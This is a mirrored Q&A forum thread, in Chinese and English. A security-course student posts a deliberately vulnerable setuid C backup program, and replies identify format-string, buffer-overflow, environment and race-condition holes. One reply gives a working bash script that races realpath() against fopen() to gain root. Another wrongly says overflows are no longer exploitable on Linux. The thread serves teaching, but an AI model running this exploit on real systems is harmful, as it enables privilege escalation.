使用 C 来利用备份程序

发布于 2024-10-12 21:31:36 字数 4686 浏览 6 评论 0原文

我正在做一个安全课程的作业,要求我找到备份程序(setuid)的 4 个漏洞,并使用它们中的每一个来获得 root 访问权限(在具有旧版本 gcc 等的虚拟 Linux 机器上)。 应该有一种缓冲区溢出和一种格式字符串。

谁能帮我指出这4个漏洞在哪里? 我认为缓冲区溢出可能发生在copyFile()中。

以下是 backup.c 的代码:(可以在“备份 backup foo”或“备份恢复 foo”中调用)

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>

#define CMD_BACKUP 0
#define CMD_RESTORE 1

#define BACKUP_DIRECTORY "/usr/share/backup"
#define FORBIDDEN_DIRECTORY "/etc"

static
int copyFile(char* src, char* dst)
{
  char buffer[3072]; /* 3K ought to be enough for anyone*/
  unsigned int i, len;
  FILE *source, *dest;
  int c;

  source = fopen(src, "r");
  if (source == NULL) {
    fprintf(stderr, "Failed to open source file\n");
    return -1;
  }

  i = 0;
  c = fgetc(source);
  while (c != EOF) {
    buffer[i]  = (unsigned char) c;
    c = fgetc(source);
    i++;
  }

  len = i;
  fclose(source);

  dest = fopen(dst, "w");
  if (dest == NULL) {
    fprintf(stderr, "Failed to open destination file\n");
    return -1;
  }

  for(i = 0; i < len; i++) 
    fputc(buffer[i], dest);

  fclose(dest);

  return 0;
}

static
int restorePermissions(char* target)
{
  pid_t pid;
  int status;
  char *user, *userid, *ptr;
  FILE *file;
  char buffer[64];
  mode_t mode;

  // execute "chown" to assign file ownership to user
  pid = fork();

  // error
  if (pid < 0) {
    fprintf(stderr, "Fork failed\n");
    return -1;
  }

  // parent
  if (pid > 0) {
    waitpid(pid, &status, 0);
    if (WIFEXITED(status) == 0 || WEXITSTATUS(status) < 0)
      return -1;
  }
  else {

    // child
    // retrieve username
    user = getenv("USER");
    // retrieve corresponding userid   
    file = fopen("/etc/passwd", "r");
    if (file == NULL) {
      fprintf(stderr, "Failed to open password file\n");
      return -1;
    }
    userid = NULL;
    while (!feof(file)) {
      if (fgets(buffer, sizeof(buffer), file) != NULL) {
    ptr = strtok(buffer, ":");
    if (strcmp(ptr, user) == 0) {
      strtok(NULL, ":"); // password
      userid = strtok(NULL, ":"); // userid
      ptr = strtok(NULL, ":"); // group
      *ptr = '\0';
      break;
    }
      }
    }

    if (userid != NULL) 
      execlp("/bin/chown", "/bin/chown", userid, target, NULL);

    // reached only in case of error
    return -1;
  }  

  mode = S_IRUSR | S_IWUSR | S_IEXEC;
  chmod(target, mode);

  return 0;
}

static
void usage(char* parameter) 
{
  char newline = '\n';
  char output[96];
  char buffer[96];

  snprintf(buffer, sizeof(buffer),
        "Usage: %.60s backup|restore pathname%c", parameter, newline);

  sprintf(output, buffer);
  printf(output);
}

int main(int argc, char* argv[]) 
{
  int cmd;
  char *path, *ptr;
  char *forbidden = FORBIDDEN_DIRECTORY;
  char *src, *dst, *buffer;
  struct stat buf;

  if (argc != 3) {
    usage(argv[0]);
    return 1;
  }

  if (strcmp("backup", argv[1]) == 0) {
    cmd = CMD_BACKUP;
  }
  else if (strcmp("restore", argv[1]) == 0) {
    cmd = CMD_RESTORE;
  } else {
    usage(argv[0]);
    return 1;
  }

  path = argv[2];

  // prevent access to forbidden directory
  ptr = realpath(path, NULL);
  if (ptr != NULL && strstr(ptr, forbidden) == ptr) {
    fprintf(stderr, "Not allowed to access target/source %s\n", path);
    return 1;
  }

  // set up paths for copy operation
  buffer = malloc(strlen(BACKUP_DIRECTORY) + 1 + strlen(path) + 1);
  if (buffer == NULL) {
    fprintf(stderr, "Failed to allocate memory\n");
    return 1;
  }

  if (cmd == CMD_BACKUP) {
    src = path;

    dst = buffer;
    strcpy(dst, BACKUP_DIRECTORY);
    strcat(dst, "/");
    strcat(dst, path);
  }
  else {
    src = buffer;
    strcpy(src, BACKUP_DIRECTORY);
    strcat(src, "/");
    strcat(src, path);

    dst = path;

    // don't overwrite existing file if we don't own it
    if (stat(dst, &buf) == 0 && buf.st_uid != getuid()) {
      fprintf(stderr, "Not your file: %s\n", dst);
      return 1;
    }
  }

  // perform actual backup/restore operation
  if (copyFile(src, dst) < 0)
    return 1;

  // grant user access to restored file
  if (cmd == CMD_RESTORE) {
    if (restorePermissions(path) < 0)
      return 1;
  }

  return 0;
}

还有一些有用的内容:

  // one way to invoke backup
  //system("/usr/local/bin/backup backup foo");

  // another way
  args[0] = TARGET; args[1] = "backup"; 
  args[2] = "foo"; args[3] = NULL;

  env[0] = NULL;
  if (execve(TARGET, args, env) < 0)
    fprintf(stderr, "execve failed.\n");
  exit(0);

I'm doing an assignment of a security course that asks me to find 4 vulnerabilities of a backup program (setuid) and use each of them to gain root access (on a virtual linux machine with old version of gcc etc.).
There should be one of buffer overflow and one of format string.

Could anyone help me to point out where the 4 vulnerabilities are?
I think the buffer overflow can happened in copyFile().

The following is the code for backup.c: (which can be invoked in "backup backup foo" or "backup restore foo")

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>

#define CMD_BACKUP 0
#define CMD_RESTORE 1

#define BACKUP_DIRECTORY "/usr/share/backup"
#define FORBIDDEN_DIRECTORY "/etc"

static
int copyFile(char* src, char* dst)
{
  char buffer[3072]; /* 3K ought to be enough for anyone*/
  unsigned int i, len;
  FILE *source, *dest;
  int c;

  source = fopen(src, "r");
  if (source == NULL) {
    fprintf(stderr, "Failed to open source file\n");
    return -1;
  }

  i = 0;
  c = fgetc(source);
  while (c != EOF) {
    buffer[i]  = (unsigned char) c;
    c = fgetc(source);
    i++;
  }

  len = i;
  fclose(source);

  dest = fopen(dst, "w");
  if (dest == NULL) {
    fprintf(stderr, "Failed to open destination file\n");
    return -1;
  }

  for(i = 0; i < len; i++) 
    fputc(buffer[i], dest);

  fclose(dest);

  return 0;
}

static
int restorePermissions(char* target)
{
  pid_t pid;
  int status;
  char *user, *userid, *ptr;
  FILE *file;
  char buffer[64];
  mode_t mode;

  // execute "chown" to assign file ownership to user
  pid = fork();

  // error
  if (pid < 0) {
    fprintf(stderr, "Fork failed\n");
    return -1;
  }

  // parent
  if (pid > 0) {
    waitpid(pid, &status, 0);
    if (WIFEXITED(status) == 0 || WEXITSTATUS(status) < 0)
      return -1;
  }
  else {

    // child
    // retrieve username
    user = getenv("USER");
    // retrieve corresponding userid   
    file = fopen("/etc/passwd", "r");
    if (file == NULL) {
      fprintf(stderr, "Failed to open password file\n");
      return -1;
    }
    userid = NULL;
    while (!feof(file)) {
      if (fgets(buffer, sizeof(buffer), file) != NULL) {
    ptr = strtok(buffer, ":");
    if (strcmp(ptr, user) == 0) {
      strtok(NULL, ":"); // password
      userid = strtok(NULL, ":"); // userid
      ptr = strtok(NULL, ":"); // group
      *ptr = '\0';
      break;
    }
      }
    }

    if (userid != NULL) 
      execlp("/bin/chown", "/bin/chown", userid, target, NULL);

    // reached only in case of error
    return -1;
  }  

  mode = S_IRUSR | S_IWUSR | S_IEXEC;
  chmod(target, mode);

  return 0;
}

static
void usage(char* parameter) 
{
  char newline = '\n';
  char output[96];
  char buffer[96];

  snprintf(buffer, sizeof(buffer),
        "Usage: %.60s backup|restore pathname%c", parameter, newline);

  sprintf(output, buffer);
  printf(output);
}

int main(int argc, char* argv[]) 
{
  int cmd;
  char *path, *ptr;
  char *forbidden = FORBIDDEN_DIRECTORY;
  char *src, *dst, *buffer;
  struct stat buf;

  if (argc != 3) {
    usage(argv[0]);
    return 1;
  }

  if (strcmp("backup", argv[1]) == 0) {
    cmd = CMD_BACKUP;
  }
  else if (strcmp("restore", argv[1]) == 0) {
    cmd = CMD_RESTORE;
  } else {
    usage(argv[0]);
    return 1;
  }

  path = argv[2];

  // prevent access to forbidden directory
  ptr = realpath(path, NULL);
  if (ptr != NULL && strstr(ptr, forbidden) == ptr) {
    fprintf(stderr, "Not allowed to access target/source %s\n", path);
    return 1;
  }

  // set up paths for copy operation
  buffer = malloc(strlen(BACKUP_DIRECTORY) + 1 + strlen(path) + 1);
  if (buffer == NULL) {
    fprintf(stderr, "Failed to allocate memory\n");
    return 1;
  }

  if (cmd == CMD_BACKUP) {
    src = path;

    dst = buffer;
    strcpy(dst, BACKUP_DIRECTORY);
    strcat(dst, "/");
    strcat(dst, path);
  }
  else {
    src = buffer;
    strcpy(src, BACKUP_DIRECTORY);
    strcat(src, "/");
    strcat(src, path);

    dst = path;

    // don't overwrite existing file if we don't own it
    if (stat(dst, &buf) == 0 && buf.st_uid != getuid()) {
      fprintf(stderr, "Not your file: %s\n", dst);
      return 1;
    }
  }

  // perform actual backup/restore operation
  if (copyFile(src, dst) < 0)
    return 1;

  // grant user access to restored file
  if (cmd == CMD_RESTORE) {
    if (restorePermissions(path) < 0)
      return 1;
  }

  return 0;
}

And something useful:

  // one way to invoke backup
  //system("/usr/local/bin/backup backup foo");

  // another way
  args[0] = TARGET; args[1] = "backup"; 
  args[2] = "foo"; args[3] = NULL;

  env[0] = NULL;
  if (execve(TARGET, args, env) < 0)
    fprintf(stderr, "execve failed.\n");
  exit(0);

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(5

素罗衫 2024-10-19 21:31:36

我不是安全专家,但这里的评论

char buffer[3072]; /* 3K ought to be enough for anyone*/

很能说明问题:-) 所以正如您所猜测的,这里可能存在缓冲区溢出。该缓冲区实际上用于读取输入文件的内容。因此请尝试使用长度超过 3K 的文件。

现在,由于 buffer 是本地的,因此它是在堆栈上分配的。因此,通过溢出,您可以覆盖堆栈的内容,包括调用者堆栈帧内的返回地址和局部变量。据我所知,这是理论,但我无法向您提供更多实际细节。

I am not a security expert, but the comment here

char buffer[3072]; /* 3K ought to be enough for anyone*/

is telling :-) So as you have guessed, there is a possibility for buffer overflow here. The buffer is in fact used to read the contents of the input file in. So try it with a file longer than 3K.

Now, since buffer is local, it is allocated on the stack. Thus by overflowing, you can overwrite the contents of the stack, including the return address and local variables within the caller stack frame. This is the theory as far as I know, I can't give you any more practical details though.

枯叶蝶 2024-10-19 21:31:36
  1. 格式漏洞存在于 usage() 中 - sprintf()printf() 获取从 sprintf() 生成的格式字符串code>argv[0],攻击者可以操纵它来包含他们想要的任何内容。

  2. 主要的缓冲区溢出是由 Péter Török 强调的;当扫描代码中是否存在安全漏洞时,任何未经检查的缓冲区填充类似这样的明目张胆的注释都是自找麻烦的路标。

  3. 使用了环境变量 USER - 它可能会被不道德的人操纵,但它是否真的会给你带来任何东西是有争议的。您可以将其设置为“root”,并且尝试的“chown”命令将使用被告知使用的名称。

  4. chown 命令和 chmod() 系统调用之间存在某种竞争。目前还不清楚如何与其他问题分开利用它 - 但它可能会给您一些可以利用的东西。

包含两次 是多余的,但在其他方面是无害的。对于 POSIX 2008,大多数地方甚至根本不需要它。

  1. The format vulnerability is in usage() - with the sprintf() and printf() taking format strings that are generated from argv[0], which an attacker can manipulate to contain whatever they want.

  2. The main buffer overflow is the one highlighted by Péter Török; when scanning code for security vulnerabilities, any unchecked buffer filling with blatant comments like that is a signpost asking for trouble.

  3. The environment variable USER is used - it could be manipulated by the unscrupulous, but it is debatable whether it would really buy you anything. You could set it to say 'root', and the attempted 'chown' command would user the name it was told to use.

  4. There's a race of sorts between the chown command and the chmod() system call. It isn't immediately clear how you'd exploit that separately from the other issues - but it might give you something to leverage.

Including <sys/types.h> twice is redundant but otherwise harmless. With POSIX 2008, it isn't even needed in most places at all.

晨曦慕雪 2024-10-19 21:31:36

您不能再在 Linux 上利用缓冲区溢出,因为 SE-Linux 通过中止相关程序和 Wand 地址随机化来防止恶意或意外的意外代码执行。

您需要先关闭这些程序,但这首先需要 root 访问权限。

You can't exploit buffer-overflows on Linux anymore, since SE-Linux prevents malicious or accidental unintended code execution by aborting the program in question, and by Wand-addresss randomization.

You need to switch off those programms first, but that requires root access in the first place.

花海 2024-10-19 21:31:36

受 Jonathan Leffler 回答中的漏洞 4 的启发,这里是 realpath() 检查和 之间的 TOCTOU(从文件检查时间到更新时间间隔中的竞争条件)的利用>fopen()

trap 'rm -f my_passwd; kill -TERM 0' INT

function p1()
{
    while [[ 1 ]]
    do
            nice -20 ./backup restore my_passwd
            ls -l /etc/passwd /etc/my_passwd my_passwd
    done
}

function p2()
{
    while [[ 1 ]]
    do
            rm -f my_passwd; ln /etc/my_passwd my_passwd; sleep .1; rm -f my_passwd
    done
}

export USER=root
p1 & p2

无论如何,将您的 UMASK 设置为 000 应该允许针对 chmod() 问题进行类似的利用。

Inspired by vulnerability 4 on Jonathan Leffler's answer, here is an exploit for a TOCTOU (race condition in the interval from Time Of Check to Time of Update of a file) between the realpath() check and fopen()

trap 'rm -f my_passwd; kill -TERM 0' INT

function p1()
{
    while [[ 1 ]]
    do
            nice -20 ./backup restore my_passwd
            ls -l /etc/passwd /etc/my_passwd my_passwd
    done
}

function p2()
{
    while [[ 1 ]]
    do
            rm -f my_passwd; ln /etc/my_passwd my_passwd; sleep .1; rm -f my_passwd
    done
}

export USER=root
p1 & p2

Anyway, setting your UMASK to 000 should allow similar exploitation for the chmod() issue.

罗罗贝儿 2024-10-19 21:31:36

还要考虑字符串比较是否足以锁定禁止的目录。答:不,我能想到的至少有两种方式。

Also think about whether a string comparison is enough to lock out the forbidden directory. Answer: No, in at least two ways I can think of.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文